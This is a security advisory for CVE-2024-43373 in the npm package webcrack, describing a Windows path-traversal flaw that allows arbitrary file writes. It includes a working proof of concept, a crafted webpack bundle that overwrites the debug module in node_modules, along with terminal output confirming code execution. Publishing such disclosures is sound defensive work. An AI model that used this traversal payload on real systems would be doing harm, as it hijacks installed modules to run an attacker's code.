GHSA-CCQH-278P-XQ6W
Vulnerability from github – Published: 2024-08-14 18:01 – Updated: 2024-11-18 16:27Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.
Details
Source: packages/webcrack/src/unpack/bundle.ts#L79
import { posix } from 'node:path';
import type { Module } from './module';
// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;
/* ... snip ... */
const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.
PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:
Malicious Script (what.js):
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = (n[r] = {
i: r,
l: false,
exports: {},
});
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = '';
o((o.s = 386));
})({
'./\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
module.exports = () => console.log("pwned")
},
});
Webcrack Script (index.js):
import fs from 'fs';
import { webcrack } from 'webcrack';
const input = fs.readFileSync('what.js', 'utf8');
const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = n[r] = {
i: r,
l: false,
exports: {}
};
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = "";
o(o.s = 386);
})({
"./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
module.exports = () => console.log("pwned");
}
});
WebpackBundle {
type: 'webpack',
entryId: '386',
modules: Map(1) {
'./\\..\\node_modules\\debug\\src\\index' => WebpackModule {
id: './\\..\\node_modules\\debug\\src\\index',
isEntry: false,
path: '././\\..\\node_modules\\debug\\src\\index.js',
ast: [Object]
}
}
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
if (options.log) logger(`${name}: started`);
^
TypeError: logger is not a function
at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
at async file:///C:/Webcrack/index.js:6:16
Node.js v18.16.0
This demonstrates that the debug module was successfully overwritten and hijacked to print pwned to the console, confirming the arbitrary file write vulnerability has lead to code execution.
Impact
This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.0"
},
"package": {
"ecosystem": "npm",
"name": "webcrack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43373"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-14T18:01:06Z",
"nvd_published_at": "2024-08-15T15:15:21Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.\n\n### Details\n\nSource: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)\n```ts\nimport { posix } from \u0027node:path\u0027;\nimport type { Module } from \u0027./module\u0027;\n\n// eslint-disable-next-line @typescript-eslint/unbound-method\nconst { dirname, join, normalize } = posix;\n\n/* ... snip ... */\n\nconst modulePath = normalize(join(path, module.path));\nif (!modulePath.startsWith(path)) {\n throw new Error(`detected path traversal: ${module.path}`);\n}\nawait mkdir(dirname(modulePath), {\n recursive: true\n});\nawait writeFile(modulePath, module.code, \u0027utf8\u0027);\n```\n\nIn this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.\n\n### PoC\nThe following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:\n\n**Malicious Script (what.js):**\n\n```js\n(function (e) {\n var n = {};\n function o(r) {\n if (n[r]) {\n return n[r].exports;\n }\n var a = (n[r] = {\n i: r,\n l: false,\n exports: {},\n });\n e[r].call(a.exports, a, a.exports, o);\n a.l = true;\n return a.exports;\n }\n o.p = \u0027\u0027;\n o((o.s = 386));\n })({\n \u0027./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\u0027: function (e, t, n) {\n module.exports = () =\u003e console.log(\"pwned\")\n },\n });\n```\n\n**Webcrack Script (index.js):**\n\n```js\nimport fs from \u0027fs\u0027;\nimport { webcrack } from \u0027webcrack\u0027;\n\nconst input = fs.readFileSync(\u0027what.js\u0027, \u0027utf8\u0027);\n\nconst result = await webcrack(input);\nconsole.log(result.code);\nconsole.log(result.bundle);\nawait result.save(\u0027output-dir\u0027);\n```\n\n**Execution:**\nRunning the above script with `node index.js` twice results in the following output being printed to the terminal:\n\n```\nPS C:\\Webcrack\u003e node .\\index.js\nDebugger attached.\n(function (e) {\n var n = {};\n function o(r) {\n if (n[r]) {\n return n[r].exports;\n }\n var a = n[r] = {\n i: r,\n l: false,\n exports: {}\n };\n e[r].call(a.exports, a, a.exports, o);\n a.l = true;\n return a.exports;\n }\n o.p = \"\";\n o(o.s = 386);\n})({\n \"./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\": function (e, t, n) {\n module.exports = () =\u003e console.log(\"pwned\");\n }\n});\nWebpackBundle {\n type: \u0027webpack\u0027,\n entryId: \u0027386\u0027,\n modules: Map(1) {\n \u0027./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\u0027 =\u003e WebpackModule {\n id: \u0027./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\u0027,\n isEntry: false,\n path: \u0027././\\\\..\\\\node_modules\\\\debug\\\\src\\\\index.js\u0027,\n ast: [Object]\n }\n }\n}\nWaiting for the debugger to disconnect...\nPS C:\\Webcrack\u003e node .\\index.js\nDebugger attached.\npwned\npwned\npwned\npwned\npwned\npwned\npwned\nWaiting for the debugger to disconnect...\nfile:///C:/Webcrack/node_modules/webcrack/dist/index.js:444\n if (options.log) logger(`${name}: started`);\n ^\n\nTypeError: logger is not a function\n at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)\n at Array.\u003canonymous\u003e (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)\n at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)\n at async file:///C:/Webcrack/index.js:6:16\n\nNode.js v18.16.0\n```\n\nThis demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.\n\n### Impact\nThis vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.\n",
"id": "GHSA-ccqh-278p-xq6w",
"modified": "2024-11-18T16:27:04Z",
"published": "2024-08-14T18:01:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/j4k0xb/webcrack/security/advisories/GHSA-ccqh-278p-xq6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43373"
},
{
"type": "WEB",
"url": "https://github.com/j4k0xb/webcrack/commit/4bc5c6f353012ee7edc2cb39d01a728ab7426999"
},
{
"type": "PACKAGE",
"url": "https://github.com/j4k0xb/webcrack"
},
{
"type": "WEB",
"url": "https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.